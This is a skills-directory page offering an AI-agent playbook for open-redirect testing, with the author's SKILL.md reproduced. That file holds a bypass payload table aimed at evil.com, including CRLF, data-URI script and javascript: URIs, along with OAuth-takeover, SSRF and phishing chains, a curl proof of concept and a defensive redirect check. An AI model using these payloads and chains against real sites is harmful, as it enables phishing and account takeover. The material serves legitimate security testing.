open-redirect
What it does
This skill teaches the agent how to find redirect parameters that send users to outside sites. It is for security testers checking login, logout and return-link features.
When to use it
- βWhen a site has a next, return or redirect parameter in its links and you want to test it.
- βWhen an OAuth or login flow sends users to a return address taken from the URL.
- βWhen you want to check whether a redirect filter can be bypassed with encoding or tricks.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether the login page on my site can send users to any outside website after sign in?β
5 new skills a week. 1 minute to read.
How it works
The agent tries many address forms, such as double slashes, encoded characters and look-alike domains, and checks whether the server sends the visitor to the new address.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Open Redirect Playbook
Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).
1. Common parameters
?next=... ?return=... ?continue=... ?redirect=... ?url=... ?to=...
?goto=... ?destination=... ?back=... ?returnTo=... ?callbackUrl=...
?image_url=... ?file=... ?logout_redirect=... ?success=...
Grep recon URLs / JS for these params.
2. Bypass table
| Technique | Payload |
|---|---|
| Direct | https://evil.com |
| Protocol-relative | //evil.com |
| Triple-slash | ///evil.com |
| Backslash | \\evil.com or /\\evil.com |
| Encoded slash | %2f%2fevil.com |
| Mixed encoded | /%5cevil.com |
| Userinfo | https://target.com@evil.com |
| Whitelist confusion | https://target.com.evil.com (subdomain ends w/ allowed) |
| Path-traversal in fragment | target.com/?redirect=evil.com#@target.com |
| Data URI | data:text/html,<script>location='https://evil.com'</script> |
| Javascript URI | javascript:alert(1) (for XSS upgrade) |
| CRLF injection | redirect=evil.com%0d%0aSet-Cookie:... |
| Punycode | https://xn--80ak6aa92e.com (looks like apple.com) |
| Mixed-case scheme | HTTPS://evil.com |
| Whitespace prefix | %09//evil.com, %20//evil.com |
| URL-encoded null | evil.com%00.target.com |
| Multiple slashes | //////evil.com |
3. Chain patterns
3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on *.target.com.
You have open-redirect at target.com/redir?to=.... Attacker:
redirect_uri=https://target.com/redir?to=https://evil.com/cb
OAuth server allows the literal target.com host; victim browser follows the 302 β evil.com β code in URL.
3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).
3.3 Phishing
Send phishing email from attacker domain β click β lands on
target.com/login?next=https://evil-attacker.com/fake-login. After
"login" page redirects to attacker β but URL bar shows target.com for
the first second, building trust.
3.4 Tabnabbing
window.open(URL) w/o noopener,noreferrer β opened tab can navigate
the OPENER (original target tab) to phishing page. Combined w/ open
redirect = full visual takeover of the original target.
4. Tools
- OpenRedireX β fuzz w/ massive payload list
- Burp Intruder w/ payloads from
_corpus/payloads/Open Redirect/ gf(Tomnomnom) patterns to extract redirect params from URLs
5. PoC
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
# Look for: Location: https://evil.com β confirmed open redirect
6. Severity
| Scenario | Typical |
|---|---|
| Standalone open redirect, no chain | Low 3-4 / Informational |
| Chained w/ OAuth β ATO | Critical 9.0 |
| Chained w/ SSRF bypass β metadata extraction | Critical 9.0 |
| Tabnabbing on high-trust target | Medium 5-6 |
| Phishing-only (no ATO chain) | Low-Medium |
7. Defender
from urllib.parse import urlparse
def safe_redirect(url, allowed_hosts={'target.com'}):
p = urlparse(url)
if not p.netloc: # relative path only
return url if url.startswith('/') and not url.startswith('//') else '/'
if p.netloc in allowed_hosts:
return url
return '/'
# At redirect site:
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer' # in HTML <a>
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Open Redirect/ - OAuth chain extension:
skills/exploit/web/oauth/SKILL.md - SSRF chain extension:
skills/exploit/web/ssrf.md
FAQ
Is an open redirect serious on its own?
The skill says it is usually low or informational alone, but can be serious when chained with login or OAuth flaws.
Which parameter names does it look for?
It looks for names such as next, return, redirect, url, to and callbackUrl.
Does it cover javascript links?
Yes, it mentions javascript URLs as an XSS angle.
Details
Original description by the author
Open redirect + tabnabbing β URL filter bypass, OAuth chain extension, phishing infrastructure-free, SSRF chain.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14074
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.